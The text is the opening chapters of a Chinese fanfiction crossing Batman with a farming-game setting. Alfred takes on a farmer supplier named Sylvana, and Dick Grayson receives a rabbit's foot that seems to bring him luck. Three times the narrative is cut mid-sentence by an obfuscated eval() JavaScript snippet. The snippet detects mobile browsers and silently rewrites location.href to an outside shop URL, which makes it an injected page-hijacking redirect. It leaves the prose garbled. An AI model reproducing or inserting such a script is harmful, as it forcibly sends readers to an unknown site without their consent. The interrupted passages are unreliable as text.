《综英美 农场主有的是力气和手段》 1. 第 1 章 1 阿尔弗雷德的一天通常与清晨的第一丝晓光一起拉开序幕。 或者说更早。 身为韦恩家的管家,同时兼任这座宅邸唯一的厨师、花匠、采购员等身份,他往往需要比家中最早晨起的成员提前两到三个小时起身准备。 不过考虑到在这个家中,每个人都有的、几乎成为家族事业的另一份夜间职业,所以事实上他并不需要起得过早。 对于一位上了年纪的老人来说,这种日程尚且在他的精力接受范围内。 在巡检过程中打理好园艺,进行了酒窖养护,并且熨烫收纳好前一天换下的衣服的阿尔弗雷德立在厨房中,他透过那块落地窗,略带欣慰地看着在草坪上奔跑的两个身影。 王牌和提图斯快活地追逐着彼此,狗狗们一前一后奔跑,抖擞的毛发在晨光下随着肌肉起伏,油亮水滑,在晨光下泛着健康的色泽。 阿尔弗雷德只短暂地看了一会,确认庄园内动物状态后,便开始进行今早的另一个重要事项——准备早餐。 作为一个名义上人口近两位数,实际上常驻人数为三的家族,这项工作的压力并不大。 他可以参考每个人起床的时间来规划烹饪顺序。 最先起床的一般都是庄园内年纪最小的达米安少爷。 这位来自刺客联盟的韦恩幼子有着雷打不动的自律作息,不管前一天的夜巡熬到多晚,哪怕离躺下才过去两三个小时,他晨练的身影都会准时出现在庄园的跑道上。 其次是目前正忙于学业,筹备大学申请材料的提姆少爷。 当他神情困顿地从楼梯上走下来时,阿尔弗雷德会根据对方眼下的青黑程度,来决定今天是否要对这位少爷的咖啡因摄入量进行限制。 到最后,才是这位庄园的主人——布鲁斯。 在这之前,他通常需要备好洗漱用品、当日要穿的衣服,进行不下三次的唤醒,最后使用一点不那么强硬的手段,布鲁斯老爷才会睡眼惺忪地从床上爬起来。 然而今天是个例外。 “早安,阿福。”欢快的声音比它的主人先出现,“噢!今天早上竟然有蟹肉奶油蘑菇!” 迪克·格雷森,这位庄园内年第二大的孩子从座位上弹起来,两三步跨到他身边,试图接过他手中的托盘:“让我来帮忙吧,阿福!” 阿尔弗雷德的目光越过迪克的肩膀,看向餐厅,目前所有在家的成员都整整齐齐坐在餐桌边,包括那位需要他再三唤醒的布鲁斯老爷。 他一眼扫过去,穿着睡袍的布鲁斯轻咳一声,佯装不经意地抖了抖手上的报纸,盯着那块版面猛看,仿佛上面的八卦新闻里藏着不为人知的情报。 如果不是对方头上还顶着没打理好、正顽固支棱起来的碎发,他也许真的会被对方这副姿态骗到,阿福想。 但体贴的老管家永远不会拆穿这点。 阿福微微一笑:“当然可以,那就麻烦迪克少爷你了。” “不麻烦不麻烦!” 迪克接过托盘,脚步轻快地走回餐桌边,将餐品分发到各人面前。 * 这顿早餐在难得的和谐中结束。 达米安依旧是最先离席的,提姆紧随其后,作为庄园内目前唯二还需要去学校报道的人,他们的日程向来规律。接着是布鲁斯,他打着哈欠离开餐厅,没一会又西装革履地走下楼,去参加那个无法推脱的会议。 迪克离开得最晚,布鲁德海文的小警察难得有个假期,这也是他今天出现在庄园里的原因。 他上楼前不忘从餐篮中摸走一把带着水珠的蓝莓:“是我太久没回来产生的错觉,还是今天的食材真的格外不错?” 对此,阿福微微一笑:“很高兴见到您喜欢新供应商提供的食材,我会增加这部分的采购量。” 迪克高高兴兴地消失在楼梯拐角。 在庄园的主人们陆续出门,去处理工作以及准备过私人生活时,阿尔弗雷德便可以迎来短暂的休息时间。 当然,在午餐之前他依旧有堆积的事务需要处理。 庄园某处松动的木地板需要维修;临近换季,需要更换更加保暖的床上用品;过几日有个慈善宴会,得提前为出席者准备好礼服…… 零零碎碎,琐屑繁杂,构成阿尔弗雷德忙碌且充实的一天。 当然,其中还有最重要的、也是人类生存必不可少的一个环节——补充食材。 虽然庄园内常住人数不多,每个人的日常消耗量都能达到一个惊人的数字。 这些年轻人,尤其是夜巡归来后,能像蝗虫过境般扫荡厨房里的一切可食用物品。为了保证食材的新鲜程度,阿尔弗雷德早已习惯这种隔三差五就需要补充库存的节奏。 尽管必要时刻没一个人会挑食,可作为看着庄园主人们长大的管家,在能力允许的范围内,他自然会希望能够为他们提供最好的选择。 庄园的食材来自固定的供货商,都是经过千挑万选才敲定的合作对象。 奈何之前有家供货商出了点小意外,介于这里是哥谭,阿尔弗雷德对此表示深感遗憾,而一位据说来自鹈鹕镇的年轻农场主恰好填补了空缺。 她提供的农产品品质上乘,配送准时,态度诚恳,食材质量也很稳定。 可惜对方的农场规模还不够大,有些品类尚无法覆盖。香料、深海鱼类、还有一些高端食材,仍然需要从旧渠道订购,否则完全能够将庄园的主要采购交由对方负责,可以省去不少麻烦。 阿福一边勾画着采购名单,一边不无遗憾地摇摇头。 然而他的遗憾落到别人眼中,却被解读成了另一种截然不同的意思。 这是个比祖祖城还繁华的大城市——这是西尔瓦娜来到这里时,对哥谭的第一印象。 作为一个乡下来的农场主,哥谭的一切对她来说都很新鲜,包括本来该是她擅长范围内的农场经营。 这里不使用出货箱,所有订单都需要她自己去商谈,在鹈鹕镇时,她完全只用埋头耕作,刘易斯和皮埃尔会对农场的产品全盘照收。 而西尔瓦娜初来乍到,在哥谭毫无人脉与根基,废了好大一番功夫才勉强将自己的产品推销给几个小餐馆。能接到韦恩家的订单纯粹是天上掉馅饼,起初她在邮箱里看到订单信甚至觉得自己眼花了。 不过怀疑归怀疑,西尔瓦娜接取订单时的速度却毫不迟疑。 好在下订单的潘尼沃斯先生很好相处,对于订单以外的事情从不多问,而她的农作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305220|198694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物也顺利达到了这位管家先生的要求。 这可是天使客户,要好好珍惜。 故而见到这位向来和善的管家露出些许可惜的表情,西尔瓦娜心中的警报声立马被拉到最高。 “潘尼沃斯先生?”她放下装满食材的木箱,不着痕迹地搓了搓指尖,眼睫眨得飞快,用着不太熟悉的敬语发问。“请问是东西有什么问题吗?” 说着,她的脑子已经开始快速运转,回想这次的配送清单。 蓝莓都是今天早上刚摘的,每一颗都仔细检查过有没有虫眼或者软烂;鸡蛋里倒是有一批是前两天攒下来的库存,毕竟韦恩庄园的鸡蛋需求量比较大,光靠一天的产蛋量确实不够…… 如果问题出在鸡蛋上的话,那她要不要再多养几只鸡? 新农场的鸡舍还能扩建,玛妮应该会愿意再匀几只下蛋能手给她。成本会增加一点,但如果能保住韦恩庄园这个大客户—— “请不必担心,西尔瓦娜小姐。” 阿尔弗雷德的声音打断她越发紧张的思绪,他收起清单,抬手做了个安抚的手势:“并非是食材出了什么问题,恰恰相反——正因为您提供的产品品质极佳,才让我愈发遗憾您的农场为何不能再大一些。” 老管家语气温和得如同春日的晚风,成功让西尔瓦娜悬着的心落回原处。 她松了口气,脸上绽开灿烂笑容:“原来是这样!我还以为是蓝莓有问题或者鸡蛋不够新鲜之类……” 小声嘟囔完,她又顿了顿,不好意思地挠挠脑袋:“农场规模这个问题目前一时半会确实没法解决,不过很高兴见到您喜欢我农场的产品!” 向管家先生表达完感谢后,西尔瓦娜重新蹲下身,抱起那个近乎半人高的木箱,继续往庄园的储藏室里搬运货物。 严格来说,搬运货物并不在她的工作范围内。 按照合同上的条款,她只需要将货物送到韦恩庄园的后门,剩下的卸货工作理应由庄园这边安排。 但为大客户提供一点额外服务自然不是什么问题,尤其是这位大客户给她带来了到哥谭后的第一个稳定的长期订单。 而且从某种意义上来说,这应该算有“和别人好好相处”吧? 想到这件事,西尔瓦娜的脑海中便浮现出一张忧心忡忡的脸。 来哥谭之前,刘易斯镇长曾找她谈过一次话,絮絮叨叨许久,单是围绕着“城市人际交往关系”就讲了大半天,那张布满皱纹的脸上全是她读不懂的忧虑。 西尔瓦娜当时听得很认真,实际上一个字都没往心里去。 要她说,整个鹈鹕镇没有人比她更擅长和人相处了! 证据就是面前的刘易斯本人,镇长先生明知道她不小心拿走了那条属于他的紫色裤衩,却依然对她保持着和蔼可亲的态度,临行前还专门来叮嘱她要注意安全。 这不正说明她的人缘好得很吗? 思及此处,西尔瓦娜再度信心满满起来,感觉浑身充满了用不完的力量。她推开通往后院的门,准备一口气将剩下的几箱货物全部搬进来。 外面的阳光有点刺眼。 西尔瓦娜眯起眼睛,用手在额前挡了挡,等瞳孔重新适应光线后,一个陌生的身影出现在她的视野内。 2. 第 2 章 1 迪克·格雷森本来已经走到车库了。 他的摩托车就停在那里,加满了油,车身也被阿福收拾得干干净净,随时都可以出发。 但在路过草坪时,他用余光瞥见一辆不认识的小货车停在后院通道边,车身上没有任何标志性符号,看上去使用时间不短,车漆都被磨掉了不少。 庄园里鲜少有陌生车辆出入。 一是因为这片区域离市中心有十几英里,一般人没事不会往市郊跑,另一个更出名点的原因则是这里是韦恩的私人土地。 义警的本能让他又折返了回来。 当然,这不是什么过度警惕,迪克这样告诉自己,他只是打算顺路看看而已,只不过“顺路看看”和“确认一下安全”两者之间并不冲突。 所以当储藏室的后门被推开时,他立马做好了对这位陌生人的初步评估。 女性,二十岁上下,身高大约一米七出头。 皮肤是常年户外劳作会有的小麦色,走路姿态松弛自然,没有刻意收敛或伪装的痕迹。 穿着便于劳作的工作服,衣袖挽到手肘,露出一截线条紧实的小臂肌肉,裤腿被扎进靴子里,鞋面边缘还有泥土留下的印记。 她眯起眼睛的样子像是刚从洞穴里钻出来的小动物,带着和哥谭格格不入的阳光气息与一种毫无防备的质朴感。 看起来似乎没有什么异常之处。 这些判断在他脑中飞快地转了一圈,等到西尔瓦娜走到他的面前时,迪克已经扬起了自己最有亲和力的笑容。 “嗨,我听阿福说你是新来的供货商?”他两三步走过去,友好地伸出手。“迪克·格雷森,你送来的蓝莓品质真不错,我还是第一次吃到酸甜度比例这么合适的。” 女孩回握他的手:“谢谢!我是西尔瓦娜·西尔凡,来自鹈鹕镇。” 似乎是因为自家产品得到了肯定,对方的声音里满溢着热情,握住他的手用力晃了晃,眼睛也弯成了月牙。 握手只持续了几秒,但足够迪克通过这次触碰得到更多信息——掌心有薄茧,就位置来说没有问题,但力道比他预期的要大一点。 迪克收回手,露出恰到好处的好奇之色:“鹈鹕镇?我想那应该是个风景不错的地方?” “就是一个很小的山谷而已。”西尔瓦娜报了个地名,“大多数地图上都找不到。” 迪克不动声色,暗地里将这个名字记在了心中。 “听起来挺神秘。” “其实就是很偏僻。” 迪克笑出声,他朝着货车的方向抬抬下巴:“需要帮忙吗?正好我闲着也没事干。” 西尔瓦娜眨了眨眼,似乎没料到他会主动提出帮忙。 “可以啊,麻烦你了。”但她很快便点点头,没有推辞。“那边还有几箱蔬菜和一些水果,都差不多重。” 迪克朝着货车的方向走了两步,车斗里整整齐齐码着几个木箱,他随手抱起一个—— 动作微微一顿。 这重量不对劲。 箱子上方盖着木板,按照西尔瓦娜的说法,里面最多应该不超过三十磅才对,但实际上却沉得像是塞满了铁块。 迪克重新调整了发力方式,面上却没有露出任何异常神色。他余光扫向正在搬动另一个箱子的西尔瓦娜,她的动作轻松流畅,甚至还腾出另一只手放下车斗挡板。 有意思。 迪克垂下眼帘,继续保持着闲聊的语气,一边往储物间走一边搭话:“所以你是一个人经营整个农场?那工作量一定很大吧?” “还好,我都习惯了。”西尔瓦娜跟在他旁边,步伐稳健。“刚接手的时候确实很累,但现在已经好多了。” “你家里人不帮忙吗?” “家里只剩我一个人了,爷爷把农场留给我的时候已经荒废了很久,当初花了好长时间才清理干净。” 迪克立即道了句抱歉。 他们又往返了几趟,话题从哥谭的交通治安跳到农场的收成。他习惯性地观察着对方的反应:肢体语言放松,神色自然,眼神没有任何闪躲,不像是有问题的人。 搬完最后几个箱子,迪克心中的那一点疑虑已经消散得差不多。 他正准备说点什么客套话来结束这次对话,对面人突然想起什么似的,把手伸进工装裤的裤兜里翻找起来。 她摸索了一阵,掏出来一个小小的、毛绒绒的物件:“对了,这个送给你。” 迪克观察着这个小东西,组织了一下措辞:“这是?” “兔脚,不过只是看着像而已,实际上是兔毛产品。”西尔瓦娜把兔脚递到他面前,表情郑重,如同在进行某种神圣的交接仪式。“在我们那边,大家都相信随身携带它可以带来好运。” “你帮了我忙,但我今天没带别的东西,所以只有这个可以送给你。” 迪克接过那只兔脚,柔软的皮毛蹭着指尖,带来一种奇妙的触感。灰白色的兔毛处理得很干净,顶端系着一根细细的绳子,整体充满了那种乡下农场独有的朴实感。 幸运。 在哥谭,这个词汇大部分时候充满了讽刺意味。作为一个在马戏团长大,后来又成为义警的人,他见过太多所谓的“幸运物”和“护身符”,没有一个真正管用过。 好运这种东西太过虚无缥缈,总是在关键时刻缺席。 蝙蝠侠不相信运气,夜翼也不相信——他们相信的是训练、情报和永不松懈的警惕。 但当他看向对面人那双绿眼睛,对上里面满是真诚和毫无保留的善意,脑海中的种种想法都被其冲淡。 “谢谢。”迪克摩挲了一下柔软的兔毛,笑容比方才真实了几分。“我会好好保存的。” * 那只兔脚最后安静地躺进他的外套口袋里,而布鲁德海文小警员短暂的假期结束于一通来自警局的调度电话。 迪克骑着摩托车风驰电掣地越过城市边界,属于哥谭的景色在后视镜里缩小成模糊光斑,而他从一片难得阳光普照的天空来到另一片被阴云笼罩的天空之下。 抵达布鲁德海文时,太阳已经开始西斜。 迪克甚至来不及回公寓换衣服,他直接冲回警局,抓起防弹背心和配枪就往目的地赶。 现场比马洛伊所描述的还要混乱,隔得远远的,空气里那股硝烟和铁锈混合的味道就飘了过来。 警戒线拉得很长,迪克把摩托车随意停在路边,三步并作两步冲进警戒线内。周围是此起彼伏的枪声以及压抑的呻吟,同事们的呼喊夹杂着滋滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305221|198694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电流声进入耳中。 两伙人躲在集装箱和废弃车辆后面互相射击,都打出了火气,子弹不要钱一样向彼此倾泻着,弹壳叮叮当当落在水泥地上。 而他的同事们正在从侧方包抄,试图用扩音器与闪光弹来结束这场毫无意义的暴力行为。 迪克没有犹豫,翻滚到最近的掩体后面,加入了正在控制局面的小队。 接下来是充满混乱的一个小时。 枪声渐渐平息。 随着最后一个帮派成员的举手投降,所有人紧绷的神经终于可以稍微松懈一点,有人甚至在对讲机里开了个笑话,引来几声疲惫的干笑。 迪克跟着笑了一声,起身去帮忙控制局面。 现场伤员不少,除了火拼的帮派成员和警员,还有些在冲突爆发时没来得及跑掉的倒霉市民。 此时看见一个捂着腹部蜷缩在角落的身影,他立刻朝着那个方向跑去:“你——” “砰——” 后半句话被枪声压了下去。 身体在意识反应过来之前先一步行动,迪克转头,看见一个被制服的帮派成员满脸惊恐,手中的枪口正对着那名无法动弹的伤者。 子弹已经出膛。 时间在这一刻仿佛被无形的手猛然拉长,所有声音都变得遥远而模糊。 他的大脑在须臾间完成了弹道分析,最终得出结论——如果他不躲的话,子弹会击中他的右肩,不致命;如果他躲开,子弹会直接命中那个伤者的胸口。 迪克咬紧牙关,身体已经做出了选择。 碎裂声在耳边炸开,预期中的疼痛却并没有到来。 迪克站在原地,看着一捧泥土在他眼前飞溅开来,红陶碎片与枯萎的植物根茎散落一地,而那颗子弹——那颗本该击中他肩膀的子弹——嵌入了某块碎片里,没能再进一寸。 一个几乎是擦着他的鼻尖砸在地上的花盆,精准地挡住了那颗子弹。 “格雷森!你没事吧?”同事焦急的声音把他拉回现实。 迪克眨了眨眼,他看着脚边那堆碎陶片和泥土,花了好几秒才找回自己的声音:“……我没事,先去看看那个伤者。” 接下来的一切都是例行公事:呼叫救护车,控制嫌疑人,封锁现场,做笔录。 当警局廉价咖啡粉的苦涩气息驱散了火药味后,所有人才真正放松下来。他们围在迪克身边,七嘴八舌地讨论着刚才那一幕,语气里满是劫后余生的庆幸。 马洛伊拍拍他的肩膀:“你没事吧?看着脸色不太好。” “没事。”迪克扯出一个笑容,“就是吓了一跳。” “你今天运气真好,那花盆要是早掉一秒或者晚掉一秒,你现在就该躺在医院里了。” “谁说不是呢,今天真是你的幸运日。”另一个同事应声,“伙计,回去记得买张彩票。” 迪克点头附和着,手指却不自觉地探进了外套口袋。 兔脚还在那里,皮毛贴着他的指腹,被他的体温捂暖后又慷慨地将这份热度回报给他。 他的指尖停留在那柔软的触感上,脑海中不断回放着花盆坠落的那个画面,角度、时机、速度,每一个变量都精准得不可思议,犹如被刻意控制过。 他若有所思起来。 3. 第 3 章 1 对于发生在布鲁德海文的小插曲,西尔瓦娜暂时不得而知,她正忙着挨家挨户送货。 韦恩庄园的订单是固定的大采购单,每三天一次,数量稳定,结账迅速,是她目前最重要的收入来源。 但要维持一个农场的运转,光靠一家大客户是远远不够的,所以剩下的时间她都在送一些零零散散的小订单——城东的几家小餐馆、一个社区超市、还有几位老太太固定要的新鲜应季蔬菜。 每一笔订单都不大,但每一个顾客西尔瓦娜都很宝贝。 送完最后一笔订单,太阳已经爬到了偏西的位置。 最后一笔订单的地址和农场几乎隔了整个哥谭,开回去得花不少时间,西尔瓦娜索性把车停在路边,整个人瘫进满是皮革味的驾驶座里。 这辆破破旧旧的皮卡是她来到哥谭后从二手市场淘来的,靠着一本被翻得脱页的汽修手册,在她的一通捣鼓下,竟然也奇迹般地能开动起来。 西尔瓦娜从副驾驶的储物箱里摸出油纸包着的三明治,顺手抄起一本边缘沾着机油的账本。 她咬了一口三明治,一边摊开账本,笔尖在纸面上画圈,一笔一笔核对着今天的收入:“蓝莓十七箱,鸡蛋五箱,西红柿三箱……” 产自农场的生菜鲜嫩脆爽,哪怕被面包片夹了一上午也没能影响它的口感,而里面油脂丰富的煎培根和鸡蛋更是放大了这种美味。 这大概是现在唯一能够抚慰她灵魂的东西。 签字笔出水不太流畅,在结余那一栏晕开一团黑色墨迹,西尔瓦娜看着那串数字,愁眉苦脸地长叹一口气。 按照这个收益数字来算,这得干到猴年马月才能达成目标啊? 她揉了揉脸颊,安慰着自己好歹利润是个正数,把最后一口三明治塞进嘴里,算是对自己的一种鼓励。 作为一名经验丰富的农场主,按理来说,她本来不应该窘迫到如此地步。 奈何万事无绝对。 哥谭农场是西尔瓦娜接手的第三个农场。 第一个农场是爷爷留下来的,那里承载着许多回忆,包括每天夜里准时出现的荒野石魔;第二个农场是姜岛农场,西尔瓦娜至今还记得她当初为了给鹦鹉找金核桃钻遍的每一个角落。 在接下齐先生的任务来到哥谭之前,她还颇为自信,想着自己已经是一名成熟的农场主了,新农场情况再艰难能难到哪里去? 齐先生当时什么都没说,只是笑眯眯地看着她。 现在回想起来,那个笑容里多少藏着点幸灾乐祸和看好戏的意思。 哥谭的夜晚确实不会出现荒野石魔或者飞蛇,这里只有瘦得皮包骨的小孩。 小孩像幽灵一样游荡在农场附近,最开始只是一两个,后面在发现不会被暴力驱赶后,孩子们的数量就像蟑螂一样疯狂繁殖增多起来。 他们分辨不出哪些作物已经成熟,哪些还需要再长几天,只知道眼前的东西能吃,于是便连根拔起,像一群沉默的蝗虫席卷而过。 第一次发现作物被糟蹋时,西尔瓦娜还在感慨不愧是大城市的乌鸦,就连破坏力都比她们鹈鹕镇的强,然后她连夜扎了稻草人立在农场的田地边。 直到后面她撞见那群孩子,最大的也就十来岁,最小的连路都走不稳,一个个比雷欧看着都还像野人,但是被她发现时却跑得比猴子还快,一边跑一边心疼地回头看掉在地上的农作物。 徒留西尔瓦娜扛着锄头,满脸茫然地看着一地狼藉,天知道她本来只是想趁着天还没黑赶紧再播种一批种子。 但是她没有报警。 哥谭的警察永远有更要紧的事情要忙,一群偷菜的小孩在这座城市里的重要性大概连酱料王都比不过。 西尔瓦娜花了一点时间,摸清楚他们来偷菜的规律后,在他们必经的路上放了几筐挑拣出来的次等品——有虫眼的苹果、长得不太好看的萝卜、外皮擦伤的番茄……这些都是不会出现在供货清单里的产品,但完全不影响食用。 第一次筐子里的东西没少,第二次少了一半,第三次就全部被拿走了。 那些孩子起初还躲着她,后来发现她真的不会追打他们、不会报警、也不会在食物里下毒,就渐渐胆大起来,甚至开始会帮她干活作为回报。 在发现自己想开垦的土地已经被稀稀拉拉锄过一次时,西尔瓦娜把这群小孩的定位更改成了家养祝尼魔。 当初为了请祝尼魔来农场里住,她可是给苹果送了足足五百个杨桃,还专门修了一栋祝尼魔小屋,这些可爱的森林精灵才愿意来帮她收获作物。 没想到在哥谭,只需要付出一些品相不佳的农产品,就有好心小孩帮忙锄地拔草。 西尔瓦娜为此高兴了好几天,直到小孩们把刚发芽的作物苗当成杂草拔了个一干二净。 ……果然一分钱一分货这句话不管在哪里都是亘古不变的道理,至少祝尼魔认识什么是庄稼。 她沉痛地划掉了心里“哥谭小孩=免费祝尼魔”这个等式。 但最大的问题其实不是那些孩子,也不是哥谭阴沉沉的天气和从未真正停歇的枪声。 最主要的问题是钱。 没错,就是如此朴实无华,却能令大部分人都焦头烂额的问题。 作为一个自认为小有资产的农场主,西尔瓦娜从未想过自己来哥谭后遭遇的第一个滑铁卢会在金钱上。齐先生将她送到哥谭时只说“这是一个全新的挑战”,但却只字不提芬吉尔国的货币在哥谭无法流通这件事! 她带来的钱币在这里毫无用处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305222|198694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥谭的银行不认,商店不收,整个人身无分文,只有一箱从农场带来的种子和农具。 好在她不是第一次面对这种局面。 刚继承爷爷的农场时,她身上同样一分钱都没有,全靠采集野外的浆果和镇民的接济。 这里的邻里关系不像鹈鹕镇那样友好,但也有别的东西能接济她。 比如垃圾桶。 西尔瓦娜对翻垃圾桶这件事毫无心理负担。鹈鹕镇上的垃圾桶里经常能翻出被扔掉的食物,运气好还能找到宝石。 而哥谭的垃圾桶更慷慨。 这座城市比祖祖城还大,垃圾桶里能翻出来的东西种类更是五花八门,她甚至在里面翻出来过一套完好无损的渔具。 靠着从星露谷带来的种子,翻垃圾桶所得,以及钓鱼的收获,西尔瓦娜终于熬过了最艰难的开荒季。 土地永远是慷慨的,它从不吝惜于回报每一份付出。 哥谭的土地也是如此。 西尔瓦娜合上账本,将它重新塞回储物箱里。账上的数字依旧不好看,但趋势总体来说在上涨,至少能够覆盖现在农场的开支,再过几个月,应该就能—— 振动声打断了她的思绪。 西尔瓦娜把工装裤的好几个口袋都翻了一遍,才找到那个屏幕上满是裂痕的手机。这也是她从哥谭的垃圾桶里翻出来的,在鹈鹕镇的时候几乎用不上电子设备,除了农场电脑和电视机。 屏幕上是一条新订单提醒。 发送者是一个陌生的名字,地址在哥谭东区,她还没来得及细看订单备注,另一条消息又弹了出来,来自她存过的客户号码“韦恩庄园”。 内容很简短,询问她这周是否能额外追加一批水果的供应。 西尔瓦娜看了眼订单时间,又看了眼东区新的订单,脑子里飞快地盘算起时间和路线安排。 她刚敲定下来一切,打算回复消息,屏幕上的电量显示突然变红,“电量不足”四个大字在她眼前晃了晃,下一秒,手机无声无息地黑了下去。 坏了,西尔瓦娜猛地一拍脑袋,她忘记给手机充电了。 她在鹈鹕镇待得太久了,那里的大家有什么需要都会直接贴在公告栏上,或者给她写信,导致她现在都不习惯用手机来与人联系,自然也总是忘记手机是经常需要充电的。 结果手机就在这关键时刻罢工了。 西尔瓦娜收拾收拾心情,重新发动了皮卡。她踩下油门,货车摇摇晃晃汇入哥谭繁忙的车流中。她得赶紧回农场给手机充上电,绝对不能错过新来的订单。 还有那群孩子,算上这两笔新订单的话今天可以多赚一点钱,如果他们表现不错,可以给他们做点蓝莓千层酥尝尝——当然,前提是他们没有把农场里的啤酒花也给拔了。 4. 第 4 章 1 西尔瓦娜紧赶慢赶,终于在下午的车流高峰时期前将皮卡开回了家。 新农场位于哥谭的下城区,用了将近一个小时才抵达目的地。 小皮卡在农场凹凸不平的地面上急刹停下,扬起一大片呛人尘土,西尔瓦娜从驾驶座跳下来,她没有像往常那样先绕着田地走一圈,检查自己的宝贝的作物,而是径直奔向田地后那栋朴素的房屋。 她盯着屏幕上那个缓慢旋转的充电图标,目不转睛,手指不安分地敲着桌面,嘴里还念念有词地催促着。 直到电量足以支撑手机开机,她立马迫不及待地打开了消息页面。 不知名顾客的订单,确认;韦恩庄园的追加订单,确认。 两条回复成功发出后,西尔瓦娜长长地吐出一口气,像是浑身骨头都被抽走了般往沙发上一靠。 还没躺上几秒,她又坐起来,核对了一遍送货地址和要求,这才把手机放回桌面继续充电,自己则翻身爬起来,推开农舍的门走向田地。 傍晚的阳光已经开始变得柔和起来,光线从天边斜斜地照过来,在田地间投下斑驳的影子。 啤酒花藤蔓攀附在整齐的木架上,叶片在这样的光线里呈现出一种近乎油画般的绿色。 西尔瓦娜站在藤架下,仔细检查着垂坠的花序,藏在其中的青绿球果个个饱满紧实,微微一捻,啤酒花带点苦的独特香气就。 她在藤架间走了一圈,确认没有虫害或者被误拔的痕迹,心里那块石头终于落了地。 这是农场的最后一批啤酒花,再过几天就能收获。届时她就可以用这段时间攒的钱去订一批木桶,启动酿酒计划。 新农场还没建成温室,酿酒和动物产品将会是这个冬天重要的经济来源,所以绝对不能出问题。 前段时间刘易斯镇长寄了信来,说镇上正在尝试开通从鹈鹕镇到哥谭市的公交线路,差不多在冬季后就可以完工。所以只要撑过这个冬天,她就可以自由往返于农场之间。 虽然芬吉尔国的货币在哥谭没法使用,但土地却不挑剔种子,这可以给新农场剩下一大笔支出,也能让她有余力去扩建农场规模。 想到规划得明明白白的安排,西尔瓦娜脸上便浮现出真心实意的笑容。 她拍了拍膝盖上的泥土,心情好到几乎想要哼歌,脚步轻快地往农舍走去。 孩子们已经聚在门口了。 他们大概是看见她的车回来了,这会正三三两两地蹲在农舍附近,用看似漫不经心实则充满期待的眼神频频看过来,有的手里还拿着干草叉,一看就是才在畜棚里和牛羊大战过。 自从误拔作物苗后,这群孩子就重新给自己找了活,他们开始帮忙照顾农场里的动物。 西尔瓦娜很是欣慰。虽然没能拥有免费祝尼魔,但是这种全人工的自动抚摸机也不错,她再也不需要每天早起后还要去挨个抚摸一遍农场里的动物,让它们拥有好心情。 故而对上这一群暗含期望的眼神,她也没多卖关子,直接大手一挥宣布:“今晚加餐,我们吃蓝莓千层酥!” 欢呼声瞬间掀翻农舍屋顶。 蓝莓千层酥的做法不算复杂,厨房里很快弥漫起黄油和果酱混合的香气。孩子们围坐在简陋的木桌旁,脸上沾满了酥皮碎屑和蓝莓果酱,腮帮子鼓得像藏食的松鼠。 西尔瓦娜没有坐下来和他们一起吃,趁着这个功夫,她开始往车上搬货。 韦恩庄园追加的订单并不急,倒是新客户的单子需要今晚就送到,她一合计,索性决定今天把这两个订购单都解决了。 新客户下的订单东西不算多,像鸡蛋这些都只要了一打,但种类却不少,甚至还点了几份龙虾汤。为此,西尔瓦娜紧急连掏了好几个蟹笼,才凑齐了需要的龙虾。 没想到有一天农场还能接到熟食订单,以往镇上的大家想吃什么基本都是去格斯大叔的酒吧。 西尔瓦娜脑中思考着这是否能够成为新的收入来源,手上的动作没有半分拖沓。鸡蛋用稻草垫好,蔬菜按种类装箱,生鲜肉类塞进干冰箱,最后又检查了一遍订单,确定没有遗漏。 “你要去哪?” 声音从身后传来。 西尔瓦娜转过头,看见凯拉站在门口,她是孩子们当中领头的那个,也是最开始带头尝试给农场帮忙的人。 凯拉手里还捏着没吃完的千层酥,眼睛却没有看食物,直勾勾地盯着被装满的车斗。 对于从犯罪巷出来的小孩来说,这已经算得上是一种反常行为了,正常例子们此刻正在厨房里狼吞虎咽。每次看他们吃饭,西尔瓦娜都觉得盘子会被啃掉一角。 “送货啊。”西尔瓦娜如实回答,把最后一个箱子推进车厢里固定好。“东区那边有个新订单,韦恩庄园还有一个追加的补货。” 凯拉的眉毛拧到了一起:“现在?” “对啊,客户要得急,指定今晚得送过去。” “你知道现在几点了吗?” 西尔瓦娜眨眨眼睛,抬头看了眼天色。太阳确实已经沉入地平线之下,天边仅剩的那一抹橙红色在她们交谈的这段时间里被更深的蓝黑色吞没,只剩下若隐若现的星点挂在天幕上。 她挠了挠后脑勺:“呃……快天黑了?” “哥谭人不会在夜晚随便出门。” 凯拉这句话说得很平淡,没有抬高音调,也没有刻意压低声音,仿佛只是在陈述一个人尽皆知的事实。 但西尔瓦娜还是从这隐晦的表达方式中读出了一丝担忧。 毕竟不管是谁,在经历多次因意外——比如下矿至晕倒,钓鱼钓到错过回家时间,忘带戒指被家养史莱姆攻击等——被送至医院后,都会对这种情绪格外敏锐。 西尔瓦 